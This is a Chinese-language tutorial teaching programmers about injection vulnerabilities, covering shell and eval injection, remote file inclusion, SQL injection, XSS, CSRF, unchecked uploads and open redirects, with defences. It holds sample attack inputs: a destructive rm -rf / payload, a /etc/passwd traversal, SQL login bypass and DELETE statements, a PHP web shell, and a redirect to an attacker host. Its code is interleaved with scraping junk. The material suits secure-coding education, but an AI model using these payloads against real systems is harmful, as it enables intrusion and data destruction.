|
几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。 我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell注入我们先来看一段perl的代码: [size=1em][size=1em]1 & Y9 d- {1 Z( B
[size=1em]2
3 }& d% s9 H8 P2 T8 w[size=1em]3
% Z* d0 k- E% X$ p5 A! y[size=1em]4
: x) s8 |( D. |" J" z[size=1em]5 8 r0 ^) G- d! {3 a
[size=1em]6
( m4 X% p. z9 d5 @. E[size=1em]7
9 z1 A1 c( g2 J& j, @- _[size=1em]8 8 D8 ^! U7 U4 q+ B
[size=1em]9 ; C% q* u- n3 g$ o1 j' q+ ]4 \
[size=1em]10 # t& i$ E6 a2 p" \
[size=1em]11 ! B: J% N" K( t9 {
| [size=1em][size=1em]use CGI qw(:standard);8 r9 w8 w5 X9 s3 o! n" n
[size=1em]$name = param('name');1 j; g9 p1 c* i0 m. q, f
[size=1em]$nslookup = "/path/to/nslookup";. w. v( h3 X! n# k
[size=1em]print header;- D7 i+ o. h |" F- v, J
[size=1em]if (open($fh, "$nslookup $name|")) {* }- l6 y3 O) k# j+ U* |
[size=1em] while (<$fh>) {
A$ e) ^( v' x& U8 A8 ^[size=1em] print escapeHTML($_);
8 g$ S2 z( a- E. A6 J[size=1em] print "<br>\n";9 A% T3 W, D v; Q, A
[size=1em] }
9 v/ K6 s1 ]" U2 K. @' b[size=1em] close($fh);9 s2 T2 k u. G6 @) E6 l
[size=1em]}
' x% t& z$ }/ z0 c$ ]; ]3 z
! L" S9 R( w' i# j | . E# z+ x! e& d2 J) b
# y' r( { V8 Q- |+ q+ L
如果用户输入的参数是: [size=1em][size=1em]1 / C' ` L- j @- X) e5 i) y
| [size=1em][size=1em]coolshell.cn%20%3B%20/bin/ls%20-l( {& X3 Y7 m; ]& D% s" t9 Z
4 e5 o" Y! v$ f8 ^ | , r* A \( h. A: Q4 U% {
! V: | r; ~3 i% f2 o( S9 f
那么,这段perl的程序就成了: 2 |! G0 b5 p1 R v1 ?
[size=1em][size=1em]1 ' q& i& B/ {4 Q) e6 Z& x
| [size=1em][size=1em]/path/to/nslookup coolshell.cn ; /bin/ls -l5 V u3 i1 o, L8 A1 J% q x
+ z3 ^: k) T8 ]" W( v
|
, s4 s' Q+ j [% i J+ d9 P. f1 s Z% u) I' S
我们再来看一段PHP的程序: [size=1em][size=1em]1
+ m# _3 a4 [1 c/ {0 X/ W9 f[size=1em]2 + D- N* D8 l! V+ D2 w
[size=1em]3
2 H A$ u, L# V | [size=1em][size=1em]$myvar = 'somevalue';
; C1 _" I& U* p: B5 P[size=1em]$x = $_GET['arg'];) [7 F* N0 X& W! C! `4 T0 P6 N7 F0 {1 v
[size=1em]eval('$myvar = ' . $x . ';');
/ r# i8 D, a! n: X
( G0 j0 i# ?% |0 t0 v) m |
# {# ]. H4 e* G
1 C7 k/ d, ?% A“eval“的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果”arg”如果被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引发的悲剧”) 再来看一个PHP的代码 [size=1em][size=1em]1
/ k2 ]9 j& O% e9 i[size=1em]2 ' G1 B* h* p2 x* P/ l" u
[size=1em]3 ) c3 _. Z4 c. J+ \7 m! W5 D
[size=1em]4 3 f/ `/ Q$ s2 z! F& R6 X
[size=1em]5
! G/ h0 F& T- O0 _7 k; `[size=1em]6 6 R/ Z# o4 ?- U P
| [size=1em][size=1em]$isadmin= false;0 c( l! T9 ~1 v9 U. B& q1 k) D
[size=1em]...5 v& t2 p; Q2 Y {6 m4 B5 { D
[size=1em]...
4 I0 p0 ~2 B9 W[size=1em]foreach ($_GET as $key => $value) {
0 f3 x! f1 p$ O# b[size=1em] $$key = $value;
: }% }4 ^ c2 z# ]1 E; `[size=1em]}
9 o. A' {& K2 Q/ T5 S. L3 H, y4 C7 ^* R1 ~2 Y8 {
| $ C# a O2 w( x
5 Q1 V7 h, z! w
如果攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,然后攻击值就取得了网站应用的admin权限了。 再来看一个PHP的示例: [size=1em][size=1em]1
' @5 }5 i" K ?- S- v[size=1em]2
; }# q2 h: `3 Z% n[size=1em]3
5 _' z+ t6 I! {. j5 H6 G) W. J[size=1em]4
7 o2 ?" l$ i g | [size=1em][size=1em]$action = 'login';
' b9 i2 I% ?5 E& N7 `[size=1em] if (__isset( $_GET['act'] ) )
) v) S' v9 ^+ y+ Y/ A+ k3 n[size=1em] $action = $_GET['act'];
9 M+ z: @6 g. P3 ]+ N7 {[size=1em] require( $action . '.php' );9 u3 h6 b% p$ S0 O2 A* p
5 p0 b! A0 g2 \' V1 K6 n |
# w% A" N+ l. Q, [1 x. L+ p8 [$ k+ n
这个代码相当危险,攻击者有可能可以干这些事: - /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
- /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫做exploit.php文件运行其代码。
- /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”可以终止这种攻击)
6 g% B6 e \ N- W7 }. ]+ P
这样的示例有很多,只要你的程序有诸如:system()、StartProcess()、java.lang.Runtime.exec()、System.Diagnostics.Process.Start()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。 PHP提供escapeshellarg()和escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 。 SQL注入SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏。 在应用程序中若有下列状况,则可能应用程序正暴露在SQL Injection的高风险情况下: - 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
- 在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用sa(最高权限的系统管理员帐户)连接Microsoft SQL Server数据库)。
- 在数据库中开放了不必要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
- 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据做潜在指令的检查。+ U- V; ^$ e7 `/ F4 S# t. m& B; P ~
例程: 某个网站的登录验证的SQL查询代码为 [size=1em][size=1em]1 % t% V6 A" e: C- B& P1 P X
[size=1em]2
! P- o! H; C3 v+ S+ A6 m | [size=1em][size=1em]strSQL = "SELECT * FROM users9 \+ W6 j& O( y1 s5 y. U
[size=1em]WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
5 m3 O3 p: |: R- I' m; s$ C
3 k1 Y# o8 i0 L) X% W* [! _. _ |
0 U5 C, ]: { J: ]
' G8 ?+ z! u. d0 Y2 L/ V* u用户在登录时恶意输入如下的的用户名和口令: [size=1em][size=1em]1 . o0 F) p' W+ P, T; C; E( a3 ~ N+ |
| [size=1em][size=1em]userName = "' OR '1'='1";1 Y) |% L: ]1 ]4 c8 s1 ^' P
' N+ h7 i) `! ]/ ]9 D0 a1 w3 [ | 4 s+ Y- f) j# R8 H8 n, r
$ P: W6 ]! w1 D5 ?" t& p$ Q1 f' }" _[size=1em][size=1em]1 * {5 w/ K' x4 O2 f
| [size=1em][size=1em]passWord = "' OR '1'='1";- D: o/ h, p. G) J
; ^9 Z- [3 E2 m |- c' J, t Q
|
" R+ z! @- Q3 y6 {4 v& U) }( h7 y; c/ U
此时,将导致原本的SQL字符串被解析为: [size=1em][size=1em]1
7 P1 U* \( h3 |% X. O[size=1em]2
+ S# Q: ^. N' a3 ^ | [size=1em][size=1em]strSQL = "SELECT * FROM users0 A, b `! o* x
[size=1em]WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"
% ]0 I, j# A/ ^$ \
* P$ z6 l# b2 Z$ D |
' T2 w4 B" M/ s+ a! N
. S. A4 @8 P2 g4 D6 K% W. s也就是实际上运行的SQL命令会变成下面这样的,因此导致无帐号密码,也可登录网站。 [size=1em][size=1em]1 ' R2 f' B# ?; P; d# I' I
| [size=1em][size=1em]strSQL = "SELECT * FROM users;"' m0 Q( ]" T' a+ e& t( H' P
, ?5 `& f* O) P% u
|
; U* N' r* R+ M- l) {$ _7 L6 [; b6 c( ~6 t
这还不算恶劣的,真正恶劣的是在你的语句后再加一个自己的语句,如: [size=1em][size=1em]1 % p4 {1 c9 h. |' x$ v, w }
| [size=1em][size=1em]username= "' ; DELETE FROM users; --";: J) T! Y6 \3 u% X( q; O0 h' a
; G \3 ~7 R2 J, U/ V |
! e; G0 V- w: Y/ s# _$ z5 T0 c/ y. e' T* m8 V
这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。 所以SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还可以看看网上的《腾讯微博的XSS攻击》。 XSS攻击在论坛的用户签档里面(使用img标签)也发生过很多次,包括像一些使用bcode的网站,很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。 另外,XSS攻击有一部分是和浏览器有关的。比如,如下的一些例子,你可能从来都没有想过吧?(更多的例子可以参看酷壳很早以前的这篇文章《浏览器HTML安全列表》) [size=1em][size=1em]1
7 Q7 f5 O* q% r& Y6 w[size=1em]2 ) e- L6 w, A3 I. ?4 [% z, O" p3 H
[size=1em]3 H/ S* [' S! a) D6 ~8 u, U+ A( K
[size=1em]4 . {+ n3 M% j6 O6 | V% [5 \6 u5 B
[size=1em]5
) J' j0 M" W* @* r: {# f2 m | [size=1em][size=1em]<table background=”javascript:alert(1)”>
. R1 S" I! E4 w% G- r, f3 i
$ z- T; U4 A2 Q7 f2 A7 P[size=1em]<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾
1 P* s( ^% f, c& b7 q6 V) I2 _
" P0 i7 i0 G$ v[size=1em]<img src=”javascript:alert(1)”>
. \4 F; E' d; D/ O; o2 J
; y B1 B2 O* q: [ |
( p0 L0 `2 @2 @
6 H* Q3 W6 T- ~4 \4 ]XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接,通过使用用户在B站点上的登录且还没有过期的cookie,从而使得用户的B站点被攻击。(这得益于现在的多Tab页的浏览器,大家都会同时打开并登录很多的网站,而这些不同网站的页面间的cookie又是共享的) 于是,如果我在A站点内的某个贴子内注入这么一段代码: [size=1em][size=1em]1
& W3 ]+ E& Z) O' |. a | |
. a O2 }7 @1 m: o7 d3 T. O$ F; J. F" G4 _- p& ~
很有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。 如何避免 要防止XSS攻击,一般来说有下面几种手段: - 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。" X8 @, u) w' {; T \
- 严格过滤用户的输入。如:
- PHP的htmlentities()或是htmlspecialchars()或是strip_tags()。
- Python的cgi.escape()
- ASP的Server.HTMLEncode()。
- Node.js的node-validator。
- Java的xssprotect。
; K, I! G a2 U, t3 W7 H
7 h/ |8 _4 N( n/ J2 T+ i
- 在一些关键功能,完全不能信任cookie,必需要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。( f2 q! N6 y" T" `9 p S
- 限制cookie的过期时间。 X" Y; B* u0 p, m
- 对于CRSF攻击,一是需要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)
' [) i7 Q O( S' J
另外,你可能觉得网站在处理用户的表单提交就行了,其实不是,想一想那些Web Mail,我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。所以,WebMail一般都禁止显示图片和附件,这些都很危险,只有你完全了解来源的情况下才能打开。电子邮件的SMTP协议太差了,基本上无法校验其它邮件服务器的可信度,我甚至可以自己建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信。所以,我再次真诚地告诉大家,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。 上传文件上传文件是一个很危险的功能,尤其是你如果不校验上传文件的类型的话,你可能会中很多很多的招,这种攻击相当狠。试想,如果用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。 举个例子: [size=1em]上传页面[size=1em]1 n# |9 D$ G9 o# @. M( K& ~
[size=1em]2
' u- E$ a/ l2 T! A1 ^3 a {: p' e% @[size=1em]3 - B* w# U4 t# G* e' w% t; [8 U
[size=1em]4 ( S4 y I6 X$ K8 S) j& e6 c
[size=1em]5
! O& d; s$ I \ Z( F[size=1em]6 ! _1 \/ C2 m H; E$ k$ }& g/ \
[size=1em][size=1em]<form action="upload_picture.php" method="post" enctype="multipart/form-data">
! I+ e3 Q/ K' M; g* }5 ~: r4 ~[size=1em]要上传的文件:* j% @$ u6 g& o3 Z
[size=1em]<input type="file" name="filename"/>
! X4 _/ g3 _' B) N7 C1 F- [ o[size=1em]<br/>
. u" Q& [: S, s& P+ n" U: Z[size=1em]<input type="submit" name="submit" value="Submit"/>1 ^! H( R) ?" Z) o5 Y& H
[size=1em]</form>& K1 V! }( F! m. m5 ?# x7 a% h8 i
. |5 G" p+ a/ x
% e) p4 T1 s7 ~
: l" x- r/ l# d" m5 X[size=1em]后台上传文件的PHP程序[size=1em]1
$ I& r5 O+ `3 D5 F& M0 C) W[size=1em]2
, Z5 i O# b8 X! Y( ?$ J A: C[size=1em]3 ! z& V" `" @0 D" H$ d/ i
[size=1em]4 " @5 y9 P, ~. l. b8 {* V
[size=1em]5
8 d Y2 c8 q: x' h0 t+ k[size=1em]6 " j6 j0 X7 w$ w8 q* e2 D
[size=1em][size=1em]$target = "pictures/" . basename($_FILES['uploadedfile']['name']);' q% e* J8 b5 Q: E# ?, h
[size=1em]if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target)){
) ~0 h3 Y; k3 A# R) l5 s[size=1em] echo "图片文件上传成功";
* t7 k3 U! m+ R6 q3 K6 T[size=1em]}else{</div>
$ { Z. F8 i8 O0 \; c0 @[size=1em] echo "图片文件上传失败";) H; J# r$ E. d9 K0 M0 k' R
[size=1em]}' e' ?$ ~# E- p z4 U$ n9 E
# t; n) p s& b, d
8 V- F" {- X: {6 z8 O
- O/ o, K' H% q" I
假如我上传了一个PHP文件如下: [size=1em]文件名malicious.php[size=1em]1 2 m3 Q- Z' ]' n
[size=1em]2
* s, i8 E1 s( O9 z[size=1em]3
, C. I+ k% ]7 r, R4 u4 A4 A" [[size=1em][size=1em]<?php9 n3 G2 [0 r/ S) n) M
[size=1em]system($_GET['cmd']);
5 N' f) O5 o1 n9 e) Y4 v' N9 B( e8 p[size=1em]?>( O( k$ Y* c9 v
& ?! Y; _" K- U$ P ; G# y8 f, e( _7 R& t8 W
n# n: z* Y" |1 z, | D9 l那么,我就可以通过如下的URL访问攻击你的网站了: [size=1em][size=1em]1
; m% {2 Y! l% A1 ` | [size=1em][size=1em]http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l: ~, m: }& g% c2 J1 \
" l6 s+ \6 U! w) T- d |
, K/ c/ C7 M+ ?2 _, T) q" }# g$ b0 m
1 Y* c& w0 L5 R8 W: o抵御这样的攻击有两种手段: 1)限制上传文件的文件扩展名。 2)千万不要使用root或Administrator来运行你的Web应用。 URL跳转URL跳转很有可能会成为攻击利用的工具。 比如下面的PHP代码: [size=1em][size=1em]1
$ c% M7 B9 r, a$ q6 i% Y[size=1em]2
0 `+ \$ O' M' s+ g | [size=1em][size=1em]$redirect_url = $_GET['url'];
7 Z% s# N& e! P% A& X4 s3 s[size=1em]header("Location: " . $redirect_url);0 M% D% O0 e3 g7 ~/ t
, l3 H3 I/ v. P
| 7 T: m0 N& ~6 p1 t! H( _/ H4 L- W8 ^
4 [" L# Z8 R# p3 d* Q这样的代码可能很常见,比如当用户在访问你的网站某个页观的时候没有权限,于是你的网站跳转到登录页面,当然登录完成后又跳转回刚才他访问的那个页面。一般来说,我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。 于是我们就可以通过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。
; b# ?0 q* b, ~0 i[size=1em][size=1em]1
9 t, F: y0 K8 _: Q. A | [size=1em][size=1em]http://bank.example.com/redirect?url=http://attacker.example.net- k m1 V2 J8 s3 C" I
; c0 V5 {: K7 r# F: e. B4 \6 a |
9 G3 d4 a0 Z" c$ s( o' B# e
3 H0 q) B: a4 Y这种攻击具有的迷惑性在于,用户看到的http://bank.example.com,以为是一个合法网站,于是就点了这个链接,结果通过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面做得跟这个合法网站一模一样,你还以为访问的是正确的地方,结果就被钓鱼了。 解决这个问题很简单,你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。 你可以看看Google和Baidu搜索引擎的链接跳转,百度的跳转链接是被加密过的,而Google的网站链接很长,里面有网站的明文,但是会有几个加密过的参数,如果你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我个人觉得还是Google做得好) |